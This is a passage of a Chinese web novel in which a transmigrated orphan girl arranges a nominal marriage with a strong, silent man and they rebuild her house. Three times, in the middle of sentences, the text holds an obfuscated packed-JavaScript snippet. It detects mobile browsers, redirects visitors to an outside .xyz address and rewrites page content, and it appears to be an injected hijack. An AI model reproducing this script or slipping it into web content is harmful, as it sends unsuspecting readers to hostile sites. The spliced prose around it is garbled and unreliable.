“呃,谢谢啊。”苏青棠干巴巴地道谢,腿脚一软扶着墙才站稳,棒球棍落到地上。 劫后余生的虚脱感涌上来,她才发觉后背衣衫早已被冷汗浸透黏在身上。 舅舅那一家子真敢勾结地痞流氓来恐吓她,还想抢走她父亲的抚恤金,简直禽兽不如。 今晚运气好有傻大个,那下次呢?下下次呢? 她一个未成年的孤身少女,守着这破屋和父母留下的抚恤金,在有心人眼里不就是块任人宰割的肥肉。就算乡亲们念着爷奶的旧情,又能时时刻刻守着她吗? 不行,她必须自己想办法活下去。 苏青棠的目光落回傻大个身上,心思飞速转起来。 对方高大魁梧的体型像一堵坚实的墙,刚才制住毛贼的力量还历历在目。这力气既能帮着干重活,关键时刻还能当保镖,完全是现成的安全保障。 王婶说他救过落水的孩子,还抓过贼,是个有正义感的傻子。他不爱说话,但能听懂人话,且眼神清澈,看样子不像是智力障碍。 她跟他沟通时他虽没回答,但都照做了,还会主动帮她修门栓。说明他能听得懂指令,大脑发育没问题,日常生活能自理。 这样的人老实本分,容易相处,性格好拿捏,不会给她添乱。就连长相也是周正的,看起来不糟心,总比找个歪瓜裂枣天天对着伤眼睛。 最重要的是他的处境。他是大队长捡回来的,在大队没有根基,也没复杂的亲戚关系牵绊。大队长总不能护他一辈子,他心里说不定也缺个安稳落脚的地方,如果自己给他一个家呢? 这个念头刚冒出来,苏青棠的心脏就狂跳起来。 她在心里飞快地盘算:她包吃包住,给他一个遮风挡雨的地方;他则用劳动力来换,平时干些力气活,顺便看家护院震慑坏人。 尽管名义上可能需要挂夫妻的名头,实际就是雇佣合作关系。相当于白得一个强力听话的帮手。管吃住的成本比起他带来的安全感和劳动力简直太值了,关键他还是一张白纸,好掌控。 这样一来,既能名正言顺地拒绝舅舅逼婚,又能彻底解决眼下家里没人护着的生存困境。 要知道,就连五十年后的社会,独居女性的安全都时常让人忧心,更别提现在这样的环境里,一个孤女想在乡下安然立足有多难。 至于嫁给傻子后的名声?苏青棠在心里嗤笑,她光脚的不怕穿鞋的,名声又不能当饭吃。对她来说,把日子过得安稳才是最实在的道理。 “傻大个,”苏青棠压下心头的激动,尽量让自己的声音听起来平静温和,她语气里满是楚楚可怜,“今晚多亏你来了,我一个人真的很害怕。” 谢泊明注视着她,没有明显反应,只是眼神微动。 苏青棠小跑到他身后躲着,狐假虎威踹了一脚地上哼哼唧唧的毛贼:“我一个未成年无依无靠,这种坏人肯定还有不少,他们都惦记我父亲的抚恤金,我也不想被舅舅带回去给人冲喜。” 本来只是想卖惨,说到最后心里不由得悲哀。如果自己没有穿越,不敢想原身该怎么办。 谢泊明蹙着眉头,眼神扫过地上的毛贼,又转回来看向苏青棠,带着询问。 “你看这样好不好?”苏青棠抓着他衣角,深吸一口气说出了心里酝酿好的话,“你搬到我家住吧?就住旁边的小屋。” “我管你吃住,你帮我看着家,别让坏人进来,平时再帮我干点力气活,行吗?” 这话是说给傻大个听的,点到为止就够了。具体怎么和大队长开口、让他点头,还得再仔细琢磨。毕竟傻大个是大队长照看着的,跟亲儿子似的。 她受大队长照顾,想把人接来家里,总得跟监护人把话说清楚,让大队长放心。 她紧紧盯着傻大个的眼睛,这是她目前能想到的最快捷有效、性价比最高的自救方案了! 他会答应吗?他能理解这种交易吗? 苏青棠忐忑不安。 谢泊明沉默着,月光勾勒出他冷硬的侧面轮廓。他看出小姑娘脸上掩饰不住的期待与紧张,低头看了眼自己粗糙的手掌,认真考虑管饭和看家干活的雇佣关系。 时间一分一秒过去,就在苏青棠的心快要沉到谷底,以为他听不懂时,谢泊明同意了。 “嗯。”他的声音轻得像叹息。 成了! 苏青棠心里的大石头落地,差点激动地跳起来。 她的脸上绽放出灿烂的笑容,眼角眉梢舒展,连带着声音都轻快了几分:“太好了!那就这么说定了!明天我去找大队长商量,然后你就搬过来。” 谢泊明把地上两个毛贼捆了起来,其中一个从最开始就倒在地上生死不明。 苏青棠用脚尖在他身上试了试,胸口在起伏,身体是软的,没死。 她略微感到失望。傻大个是公认的傻子,万一毛贼嘎了算是防卫过当。 隔壁亮起了灯,王婶端着煤油灯爬上梯子,和院里的人面面相觑。 “青棠啊,你家没出事吧?” 苏青棠下意识看向傻大个,随即大声回道:“家里进了两个毛贼,已经捆起来了。” 王婶连忙下梯子赶到隔壁,看到被捆起来的毛贼往他俩脸上一人啐了一口。 “不要脸的东西,是崔家山的二流子,成日里游手好闲净干些偷鸡摸狗的事。” “哟呵,被抓了还睡得着,真是目无王法了!” 王婶几个大耳刮子下去,硬是把昏迷的毛贼打醒了。 苏青棠丝毫没有阻拦的想法,要不是自己这副小身板使不出力气,她还想亲自上手呢。 毛贼醒来一脸懵,苏青棠抱着双臂:“醒了?知不知道这里不让睡觉。” 王婶干惯了农活,手劲别提有多大。昏迷的毛贼被打成猪头,另一个受伤严重的毛贼反而逃过一劫。 他还没搞明白发生了什么,只记得自己正要翻墙时后颈被人打了,眼前一黑从墙上栽了下去。 崔四醒来后恼羞成怒:“你们是谁?快把我放开!” 王婶二话不说,又是几个大耳刮子:“有娘生没爹养的东西,敢跑来我们大队偷东西,今天我就替你爹娘重新教你做人。” 王婶站在院墙边,冲着自家屋里大喊:“大娃、二娃起来别睡了,去大队喊人,多喊些,就说苏家遭贼了。” 猪头脸崔四慌张看向自己的同伙,牛二被谢泊明收拾得老老实实,完全不敢看猪头脸。 “牛二,你说话,是你说这家人全死绝了,我才跟着你一起来的。” 牛二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364265|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受的伤表面看不出来,其实比崔四严重,连说话的力气都挤不出来。 这在崔四眼里,牛二就是想跟他撇清关系。 大队的人还没赶来,毛贼先内讧了。崔四碾压式唾骂牛二,牛二连还嘴的力气都没有,气得胸口急速起伏,脸都发紫了。 王婶家两个孩子精力旺盛,没一会儿就喊来了半个大队的人来看热闹。 大队长看到谢泊明在场,招手把他喊到身边。 “苏家没出啥事儿吧?” 谢泊明摇了摇头。 大队长习惯了大傻的沉默寡言,得知苏家没事他松了口气,忍不住叹息:“青棠这丫头要强,我打算把她领回来做你妹妹,她不愿意,想守着自家房子。也是,老苏家就剩了她一根独苗苗,家里没个男人,小姑娘想把家撑起来不容易啊。” 谢老头不知是说给自己听,还是在提醒谢泊明多留意苏青棠的安全。 等众人在毛贼身上发泄完怒火,谢老头才慢悠悠站出来主持公道。 “关到大队仓房,留两个民兵在门口守着,天亮了就送去公安局吧。” 两个毛贼被打的鼻青脸肿,身上大伤小伤无数,看不出原来的样子。 民兵拎着小鸡仔似的把他俩扭送去了仓房。 苏青棠在众人发泄的时候跟着踹了几脚,她以为自己的小动作天衣无缝,实则全被谢泊明收入眼中。 大队乡亲们都离开后,天也快要亮了。 王婶让两个儿子回家睡觉,她留下来陪着苏青棠。 谢泊明也没离开,他坐在屋檐下的小饭桌旁,膝盖并在一起,椅子太矮,他两条长腿蜷着格外局促。 苏青棠往墙根挪了挪,给王婶让出半张床,没过多久对方就打起了呼噜。 苏青棠毫无困意,她在心里想了各种说辞,最终决定打感情牌,真诚才是必杀技。 天亮了,苏青棠听到谢泊明离开的脚步声。她没有出门送人,实在是筋疲力尽不想起床。 谢泊明离开时,回头看了一眼苏家的屋子。 王婶睡眼惺忪从床上坐起来:“青棠,你这是准备干啥去?” 苏青棠跟她开玩笑:“婶子,你说我现在这个情况娶个丈夫回来怎么样?” 王婶到底是见过世面的长辈,没有因为她的想法感到大惊小怪。 “你可得考虑清楚,娶回来的男人不是有毛病就是家里穷的揭不开锅,正经人家可不会把儿子嫁出去。” 苏青棠明白王婶说的是实话。别说现在这年代,就是再过几十年,上门女婿在男人眼里也带着几分抬不起头的分量,无形中矮了半截,丢了他们的尊严。 她勾了勾唇角,没接话。正因为没人愿意,她要找的范围不就变小了吗? 苏青棠算是跟王婶打了个预防针,毕竟两家低头不见抬头见,到时候不至于尴尬。 王婶离开后,她换了身补丁少的干净衣服,拎着两包红糖去大队长家提亲。 谢老头在院子里翻晒着干货,这些山货送去供销社能卖三十多块钱,是大傻从山上带回来的,他每个月雷打不动给家里挣三十块钱。谢老头把钱给他攒着,万一自己哪天不在了,大傻有积蓄不至于饿死。 外人都觉得他捡回个傻子是吃了天大的亏,只有他心里清楚,大傻不是人们想的那种傻子,跟真傻的比,他一点都不傻。 谢老头摇着头,不禁长吁短叹。只有自己知道大傻聪明有啥用,得让同龄的姑娘发现他的优点才行啊!为了大傻的人生大事,他这当爹的操碎了心。 好人家的姑娘看不上傻子,能接受大傻的不是身体残疾就是脑子有问题,有的说话还流口水。大傻再怎么说能生活自理,娶回来那样的姑娘,据说孩子会遗传,真要是一家三个傻子,日子还能过么? 就在这时,苏青棠鼓起勇气敲了敲门。 她分析过,自己有一半概率能成,另一半概率可能会被劝回去,主要是看大队长对谢泊明的感情。 “谢爷爷,我有点事找您。” 谢老头见她来了,笑眯眯地招呼她坐下。 “你这小丫头,来爷爷家串门怎么还带东西,大队可不兴这样。” 苏青棠放下红糖,顶着老人和蔼的目光,硬着头皮一咬牙,开门见山道:“谢爷爷,我是来上门提亲的。” 3. 提亲 谢老头掏了掏耳朵:“啥?给谁提亲?” 苏青棠视线在院里转了一圈,没看到傻大个的身影。 “大傻去挑水了。”谢老头心里嘀咕,没把苏青棠和谢泊明联系在一起。 “谢爷爷,昨天半夜我家里的情况您也看见了。我舅舅为了逼我嫁过去给人冲喜,竟然撺掇二流子来我家偷钱,他们明着是偷我爹的抚恤金,实则是为了恐吓我,顺便坏了我的名声拿捏我。等别人都怀疑我的清白,他就能顺理成章把我嫁给那个病秧子,到时候我还有活路吗?!” “如果不是大傻及时出现,我可能就…”苏青棠越说感到一阵后怕,乡下的愚昧真的能吃人。 谢老头气得当场拍桌:“他敢!” 苏青棠只是叹气:“我舅舅和外婆能在我爸妈葬礼上大吵大闹,他们连鬼神都不怕,还有什么不敢?” 谢老头跟着沉默了。 他这大队长虽说在胜利大队有些分量,可终究跟苏青棠非亲非故,真要往深里插手她家的事,名不正言不顺,好多事想帮忙都没个由头。 他顿时明白了苏青棠的想法,女娃娃想把家撑起来就得找个帮手:“那你是想跟谁家的男娃提亲?” 苏青棠深吸一口气,双手交握放在膝盖上,迎着大队长的目光,一字一句真挚地开口:“谢爷爷,我想跟你家大傻提亲。” 谢老头的眉心拧成了疙瘩,浑浊的眼睛里满是错愕。他活了大半辈子,从没听过哪家姑娘主动给自己提亲,尤其对方还是青棠这般模样周正的丫头。 苏青棠立马解释:“虽然大家认为大傻是傻子,但我觉得他很聪明。一般傻子听不懂人话,大傻不仅能听懂我说话,还能理解我的意思,最关键的是他有见义勇为的美好品德,我知道他是一个很好的人。” “谢爷爷,我不想欺骗您,我对大傻没有男女之情,我看中了他力大无穷和三观正直,他能带给我安全感。我向您保证,这辈子只要我活着一天,我就把他当亲哥,不论将来贫穷还是富裕,我都会一直照顾他。他帮我守家、护着我,我能带着他过安稳日子,我们互相扶持。我现在是无父无母的孤儿,谁都能欺负我,我想找个靠山撑起我们苏家的门户。” 苏青棠来之前想过各种说辞,最后觉得不论如何她不该为了自己的私心利用一位老人和大傻的善良,所以她最终决定用真诚打动对方。 谢老头盯着苏青棠看了半晌,心里像打翻了五味瓶。 他刚才还在发愁大傻的婚事,年轻时没个着落,将来自己走了,谁能照管他? 苏青棠交心的一番话让他心头震荡。这丫头是他看着长大的,知根知底、聪明伶俐、手脚勤快、性子坚韧,如果不是家里出了事,凭她的模样和性情,大傻哪能配得上人家? 可欣喜刚冒头,又被另一层顾虑压了下去。 他听出苏青棠的意思是想让大傻入赘。 “都知道大傻是我在路边捡回来的,我把他当亲儿子养了这些年,按老理儿该留在家里给老谢家续个香火,可苏家就剩你一个,门户确实得有人帮你撑起来。” 谢老头纠结不已。他是真心疼两个孩子。大傻有了归宿,青棠有了依靠,这本该是两全其美的事。可要让大傻入赘,他实在没脸跟孩子开口,这不明摆着倒插门吗? 万一将来大傻懂事了,或是旁人戳他脊梁骨,会不会怨自己没本事护不住他? “这事我做不了主。” 苏青棠的心猛地一沉,就听谢老头继续道:“大傻虽说不通人情世故,可婚事是他自己的事。等他回来你亲口跟他说。他若点头,别说上门撑苏家门户,就是你们想咋过咋过,我都认了;他若不愿,丫头,你也别怪他,更别怪我这老头子不通情理。” 他说着,态度松快了些,毕竟不管结果如何,至少大傻的婚事有了个盼头,愁了大半年的心事,总算看到点希望了。 苏青棠松了一口气,只要谢爷爷不反对,她就有机会说服大傻,况且大傻昨晚已经答应她了。 谢泊明就在这个时候进了院子,他一根扁担上挑着四桶水,稳稳当当进了厨房,一滴都没撒出来。 苏青棠愈发觉得自己的决定没错。她的身体拎一桶水都费劲,从大队的吃水井拎到家里,一路能洒出去大半桶。 前几天多亏有王叔帮忙,每天挑水时顺便给她家挑满一缸。只是王叔回矿场上班去了,王婶又要照看两个皮猴子,她不好总是麻烦人家。 谢老头望着儿子进屋的背影,想起一件事,他斟酌着开口道:“丫头,你想过没有?你跟大傻辈分可不一样,按理说你得喊他一声叔。” 苏青棠倒不在意年龄,她自己壳子里装着26岁的灵魂。大傻常年风吹日晒,显得有些沧桑,可细看并不显老。 他脸上的皮肤没松垮的纹路,甚至还很紧实。掌心虽有厚茧,手背的皮肤却光滑有弹性,没那种常年劳作拖垮的干瘪感,撑死不到30岁。 “谢爷爷,我知道您担心外人说闲话。可我既然敢来上门提亲,就早想明白了。我连大傻的与众不同都能接受,年龄和辈分又算得了什么?日子是我们自己过的,旁的都不重要。” 苏青棠把话说到这个份上,谢老头心里最后一点儿顾虑也烟消云散,反而隐隐期待大傻能同意这门亲事。 想到青棠是自己看着长大的丫头,心里就不是滋味。除了上门女婿的名声不好听,要被乡亲们背地里嚼几句闲话,剩下的分明全是青棠丫头在吃亏。 谢泊明从厨房走出来,谢老头冲他招了招手。 “阿明啊,过来爹跟你说件事儿。” 谢老头用哄孩子般的语气问他愿不愿意住到苏家,从今以后保护苏青棠。 苏青棠满怀期待地看向谢泊明。 “我人老了,不中用,青棠愿意照顾你。等你住过去了,就把青棠当成你亲生妹子护着,你可愿意?” 谢泊明垂着眼,缓缓摇了摇头,苏青棠急忙想开口,昨晚明明答应她的,怎么突然变了? “我…我保护你们。”谢泊明极其困难地挤出一句完整的句子,他的声带由于长时间没有使用,导致声音带着沙哑和生涩。 这是苏青棠头回听大傻开口讲话,同样也是谢老头第一次听大傻完整地讲出一句话。 谢老头不可置信地站起来:“阿明,你你好了?” 谢泊明本就没毛病,愿意开口说话是看在老人一心为他着想的份上,一把年纪还在担忧他的将来。相处这些年,他打心底里敬重对方。 苏青棠惊讶了一瞬,转念一想,心又沉了下去。如果大傻的脑子真好了,他们的契约还能继续下去吗? 谢泊明说了一句话,便又不再开口。 谢老头欣喜过后,明白他这是答应了。 大傻的反应让苏青棠心里忍不住庆幸。尽管知道自己不应该产生这样阴暗的想法,可一个力大无穷的傻子和一个力大无穷的正常成年男人,谁都会惧怕后者。 谢老头带着大傻回屋收拾东西,苏青棠借来纸笔写下一封保证书。 “谢爷爷,虽然您相信我,但我觉得还是应该向您写一封保证书,只要有这份保证书在,您睡觉也安稳。” 苏青棠的保证书内容就是她今天上门说的那些话,她会真心实意把大傻当成自家人。 谢老头愈发觉得青棠丫头可惜了,如此好的品性可惜摊上了吃人不吐骨头的外家:“行,既然你如此郑重,我放心把大傻交给你。” 苏青棠终于知道了大傻的名字——谢泊明。她几乎是下意识想到了“非淡泊无以明志,非宁静无以致远”。 大傻的衣服不多,一个包袱就能装完。谢老头从箱子底下掏出一卷毛票,塞到大傻的裤兜里。 “阿明,这是你这两年挣回来的钱。爹知道你有本事,能自己搜罗东西卖钱。你在家里有我给你挡着,往后过日子可不能再干这种事儿了。” 自打两年前政策稍微松动了一点,允许民间私底下以物换物等价交换,谢泊明每次都能恰巧找到有用的东西换钱或生活用品。 谢老头想着他是傻子,默许了他的行为,就算被发现也举报不到一个傻子身上。只是在家的时候有自己为他遮掩,和青棠一起过日子就不能再干投机倒把的事儿了。 这老头也不管他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364266|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能听懂,絮絮叨叨说了一大堆。 “我知道你不明白,但你只要记住,咱们庄稼人就只能吃地里的、用地里的,绝不能去做私人买卖,听到没?” 谢泊明配合地点头,他早就在人们的只言片语中了解到当前社会的诸多限制。 谢泊明从兜里把钱掏出来,放在小桌上。 谢老头瞪了他一眼,又把钱卷起来往他裤兜里塞。 “你爹我可是大队长,别的权利没有,还不至于吃喝成了问题。你跟青棠的小家用钱的地方多着呢,你过去恐怕连张合适的床都没得睡,这钱是你们小家的启动资金。” 谢泊明把挣的钱上交,谢老头全都帮他攒着,为的就是帮他娶个媳妇,零零散散加起来有500多块。 谢泊明不肯收,这是他交给老人的伙食费和住宿费。 “听话,拿着。青棠没钱,你不能没钱,你俩总不能花她爹的抚恤金。” 谢老头搬出来苏青棠,谢泊明犹豫了一瞬,将裤兜里的钱分出来一半,递回给老人:“这些…够了。” 谢老头没再拒绝,他儿子多孝顺啊! 他笑着拍了拍谢泊明的肩膀:“果然结婚有好处,这会儿都能正常说话了。” 谢泊明背着包袱,跟在苏青棠身后一起回了苏家。 双方没有办婚礼,没有扯证,也没有嫁妆和彩礼,俩人的婚约这就达成了。 苏青棠心头的大石头总算落了地,刚进家门就想瘫着休息一会儿。 然而在家转了一圈,大傻连落脚的地方都没有,还得给他腾个地方出来。 苏青棠对大傻招了招手:“你能搬动这两个箱子吗?把这两个重叠的大箱子竖着放成一排,应该能拼成一张床。” 大傻放下包袱,按照她的要求照做。 苏青棠环抱着手臂在屋里来回走动,总觉得挪动了箱子哪哪都不顺眼。 于是她叫停了大傻的动作。 “小明,停一下。”谢泊明没反应过来这是在喊他。 苏青棠跳起来拍他肩膀:“小明,我跟你说话呢。” 谢泊明皱着眉头,视线落在她脸上,像是在确认小明指的是自己。他摇了摇头,显然不喜欢这个太随意的称呼。 “你先给我烧一锅水吧,我来做早饭。吃完饭把家里重新拾掇一遍,总不能真让你睡厨房。” 厨房过于矮小,谢泊明进门得弯腰,让他住厨房总有一种自己是周扒皮的感觉。 苏青棠厨艺尚可,不过早饭嘛,吃泡面就行,她早就搬出来一箱老母鸡汤面放在床底下。 谢泊明刚把水烧开,苏青棠就端着两个大口径不锈钢碗来到厨房。 “你的是大碗,我的是小碗,我们一人一个。” 苏青棠不仅把碗分开,俩人的筷子也明确分开。反正小明什么都不懂,他只需要知道这样做是为了干净卫生。 她在两个人的碗里各放了两块面饼,小明一看就是饭量很大的样子,自己则是需要多吃点才有力气。 老母鸡汤面果然俘获了谢泊明,他抿了一口汤,而后不到三分钟就狼吞虎咽,吃干喝净了一大碗泡面。 看他的样子仿佛像是没吃过好东西似的,苏青棠心里忍不住窃笑,一碗泡面都让他像吃到了大餐一样,太好养活了。 苏青棠才吃了不到一半:“你吃饱了吗?” 谢泊明如实摇头,苏青棠又拿了两包泡面出来。 “你会泡吗?把袋子里的所有东西放进碗里,再倒入热水泡软就能吃了。” 谢泊明根据她的指示操作。 “对,孺子可教也!” 苏青棠下意识对他竖起大拇指。 谢泊明足足吃了10包泡面,才终于有了饱腹感。 苏青棠到最后直接放弃,她将床底下的泡面搬出来放在桌上让他自己煮,直到吃饱为止。 吃饱喝足,苏青棠开始干大事。 家里怎么看怎么不顺眼,她的强迫症又犯了。 苏青棠指挥小明把屋里的东西全搬出去晒晒,如果不是怕被人发现端倪,她都想把家里这些破家具全都换了。 4. 帕鲁 屋里东西都搬出去后,感觉屋内面积挺大,怎么也有个三十平米的样子。 当务之急是先把房顶加固顺便补一补,电视剧里这是一个架空地区,不论是哪儿春夏肯定多雨,原身的母亲不就是在暴雨天遭遇山洪被冲走了吗。 苏青棠对补屋顶没什么经验,不过空间有防水布,只要把屋顶全盖住应该就不会漏雨了。 趁着谢泊明不注意,苏青棠背对着他打开樟木箱子。箱子里以前装着苏父苏母的衣服,衣服都在坟头烧了,箱子恰好空了出来。 箱子的作用就是在此时此刻充当哆啦a梦的百宝袋。 苏青棠从空间翻出来一捆红蓝条防水布,只要她想拿什么东西,脑子里一想就会出现在面前。 她解开绳子,箱子里安静地躺着折叠好的防水布,用来补屋顶肯定够了。她又心念一动,眼前出现了厚厚一沓油毡,叠起来足有卷好的夏凉被那么高。 屋顶和地板需要的东西都解决了,苏青棠招呼谢泊明。 “小明,你把这个防水布搭在屋顶可以吗?” 红蓝条防水布在农村随处可见,无论是办酒席搭棚子,还是盖庄稼垛,总少不了这种结实耐用、价格便宜的防水布 谢泊明抬起头观察屋顶构造,又捏了捏防水布的材料,勉为其难地点了点头。倒不是不愿意,只是这种材料的屋顶在他眼里实在没有安全可言。 他终于再次开口:“屋顶…需要加固,我去找木头。” 谢泊明放下防水布,从院角拿起斧头就出了门,苏青棠甚至来不及拦住他。 趁着他出门的功夫,苏青棠迅速清点旧物件,首先就是把锅碗瓢盆替换掉,尤其是锅铲碗筷盘子。 这是原身父母留下的东西,每一件都有特殊意义,她舍不得扔掉,干脆一股脑全塞进空间的收纳箱。 如果不是电费贵,苏青棠还想把电饭锅、电磁炉、电热水壶和空气炸锅拿出来。 望着积年累月的灰尘和蛛网,苏青棠深吸一口气,挽了个丸子头,戴上防尘帽和口罩,拿出大扫帚开始从屋顶到墙面大扫除。 土墙面可以贴墙纸解决,屋顶往下掉的渣渣让苏青棠感到头大。万一自己睡觉的时候草屑落嘴里,想想就觉得恐怖。 苏青棠从空间翻找到两大盒钉子和一把锤子,待会问他有没有办法在墙上钉一圈木条,把木板钉在龙骨上,直到可以覆盖整个屋顶内部,这样就是木板天花板。 谢泊明出去两小时,扛了两棵树回来。 只见他左右肩头各扛着一棵粗大的新鲜松木,树干下的身影几乎被完全遮盖。两根巨木加起来不知多重,压得他所到之处留下一道深沟。 他步伐沉稳,呼吸毫不急促,仿佛只是扛了两根竹竿。 苏青棠听见动静出来,看得目瞪口呆。 我勒个大力水手啊,这两棵树换个人恐怕得用卡车才能拉回来吧?! 松树太大不好进院子,于是谢泊明把树放在门口,从厨房里找到一把生锈的锯子。 苏青棠连忙小跑回屋里,从空间拿出一把轻便的充电式电锯给他:“用这个。老锯子没法用了,锯不动粗木头。” 她丝毫不担心谢泊明察觉到异样,以他会说话却从来不说话、被人当成哑巴的性格,即便发现电锯来路蹊跷,也只会埋在心里。 自己只是给他提前打个预防针,久而久之不论自己从空间掏出什么他都不会惊讶了。 谢泊明多看了一眼手上的电锯,埋起头干活,果然如苏青棠所料没有问她锯子的来路。 他锯完一棵松树,挑了两根粗细均匀、大约两米长的木段用斧子削出斜面,再卡进老房梁的缝隙,用来加固房顶。 苏青棠在下面扶梯子,眼见着谢泊明用草绳把木段和老房梁绑紧,她赶紧把提前准备好的钉子拿出来。 她仰起头:“我家有钉子,用钉子再加固一下吧。还有我想用木板做一个天花板防尘,具体是这样…” 谢泊明下来接过钉子,他没拒绝就是同意了。 他加固完房梁后,把防水布铺在屋顶的木架上,做好了核心防雨层。紧接着是架天花板,在屋内的房梁下方,钉一层横向龙骨,这是天花板的支撑架。 做木板天花板的好处是,屋顶木架和天花板之间的空隙能形成一个夹层空间。有了夹层夏天隔热、冬天保暖,最关键的是隐藏了屋顶木架的粗糙结构,让屋里看起来更整洁美观。 木头不够用,谢泊明继续去锯木头,苏青棠望着他忙碌的身影,突然想起一个很火的游戏。他就像游戏里的帕鲁,不要任何报酬、任劳任怨埋头苦干。 苏青棠决定晚上好好犒劳他一顿。 谢泊明动作麻利,很快就搭好了天花板,又将茅草盖回了房顶,房子的硬装修总算暂时告一段落。 谢泊明没有停下休息,而是转身拆下大门,这个一巴掌就能拍倒的大门他忍了很久,终于忍无可忍换下来,重新装一个更加结实坚固的大门。 趁他改装大门的时间,苏青棠开始捣鼓空荡荡的屋子。 她从箱子里抱出油毡铺在地面,顺着墙角把油毡捋平。地面坑洼的地方她用碎稻草填了,再用黑色大剪子裁掉多出来的边角,油毡严丝合缝地跟地面和墙角紧贴,比之前光秃秃的泥地面规整多了。 接下来是墙面。 苏青棠无比感谢曾经的自己。 大学期间刚开始做自媒时她经常搬家,账号内容是低成本改造农村老家/出租屋。她总是无意间帮房东把月租200块的乡下毛坯房、城中村老房、用墙纸和各种低成本物件改造成租金2000块钱的样子。 当时练出来的花小钱出效果的手艺,现在用来对付家里的黄泥墙刚刚够用。 贴墙纸她手到擒来,她的事业却是一波三折。帮人改造完出租屋,一算账发现自己亏麻了,房东是真赚了。 惨淡的流量让她回不了本,再加上受众都是学生党和刚工作的年轻人,哪怕植入广告也没多少人愿意买单,于是后面她换了赛道。 空间里剩了不少从广告商那里批发来的墙纸,这都是她为了营造自己粉丝购买力强、好面子的福报。 根据房间的装修风格,最好是贴报纸比较顺眼。现成的报纸没有,仿老报纸的墙纸苏青棠还真有。 房子小也有小的好处,苏青棠贴完墙纸,后退两步满意地欣赏自己的杰作,新墙纸和房间风格特别搭!和之前的土坯房相比简直是大变样。 她伸了个懒腰,忍不住想:要是下次装修是能刷乳胶漆的水泥墙面就好了。 谢泊明重新做了两扇大门,他进屋拆下室内门,打算换一扇新木框门。 目光扫过大变样的屋内,他心中惊讶了一瞬,室内和之前判若两样。他没有看错,她果然是个聪明伶俐的女孩。父亲家的墙壁同样贴着报纸,但显得凌乱,没有她布置的美观,仅仅一眼便有了温馨的感觉。 苏青棠用清洁神器擦干净窗户,她早晚要把纸糊的窗户换成玻璃窗。 空间没有合适的窗帘,她裁了一块向日葵款式的新床单用来做窗帘,又裁了一部分拿来当桌布。 家里的灯泡不准备换掉,不过她拿出来两个充电款式的台灯和战术手电筒。 这款强光手电筒能发出强烈的白光,照射距离远,还带爆闪功能,能干扰对方视线,起到警告作用。 这是之前世界末日谣言的时候她囤的物资,一个将近要两百块钱呢。 房间的大概装修完成,接下来是家具入场。 看见院子里的家具苏青棠又开始头疼了。 首先是自己的床,她肯定是要睡大床,只是苏父苏母的床躺上去一翻身就会吱呀响,她实在不想继续睡。 “帕鲁…”糟糕,怎么把这个称呼喊出来了。 苏青棠连忙捂住嘴,然而谢泊明已经投来疑惑的神色。 她装作若无其事的样子:“这床能不能加固一下,翻身总是响。” 谢泊明没有在意她刚刚的称呼,对她点点头,就算她不提自己也会重新打一张床。 苏青棠去门口溜了一圈,用力推了推关上的大门,竟然纹丝不动,瞬间安全感爆棚。 新装好的室内门里面安上了插销,以前旧门的锁卸下来装了上去。晚上睡觉扣好插销,除非坏人砍门,插销是最可靠的防盗锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364267|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她满意极了,今晚必须得好好奖励帕鲁! 谢泊明正在拆大床,苏青棠回头吓了一跳。 打一张新床考验技术,她没这项技能,帕鲁看起来不像是擅长木工的样子,真把床拆了自己今晚睡哪? 虽然她空间有不少床,只是除了超豪华的大床就是单人折叠床,次一点的是露营帐篷,现在拿出来过于明显了。 她只能大声阻止:“床拆了我今晚要睡地上了。” 谢泊明没有开口,他停下拆床的动作,示意她看地上堆得整齐的松木方,才继续动手拆大床。 每根木方都被打磨过,边角圆润光滑,看不见毛刺。他竟然连新床的木料都准备好了? 苏青棠陷入纠结,自己要不要相信他一次呢? 她瞥见谢泊明脸颊的汗水滑落到鼻尖。算了,大不了就睡一晚上地板,反正是新铺的油毡。 心里这么想着,她转身回屋把原身家里的旧被褥全部卷起塞进空间收纳箱,换出来三床饱满蓬松的棉花被。手感软乎乎的棉花被裹在身上,就算打地铺也不会难受。 苏青棠忍不住偷笑,以帕鲁的性格,他肯定看不出家里大多数物件都被她掉包了。 谢泊明给苏青棠打了一张两米的床,床架子打出来后先搬去了屋里。 苏青棠的床还是靠墙放,窗户在床尾,下床正好能顺手拉窗帘开窗。 她的床放进屋里,房间瞬间就显得局促了。 不过苏青棠是什么人?收纳整理是她的强项。 她指挥谢泊明把两张樟木箱子并排靠墙放,箱面正好能当桌子。她又拿出挂钩让他用钉子固定在墙面两端,挂上一条能将房间一分为二的褐色遮光窗帘。 帘子拉上,里面是她的卧室,外面是活动区,以及谢泊明的临时卧室。 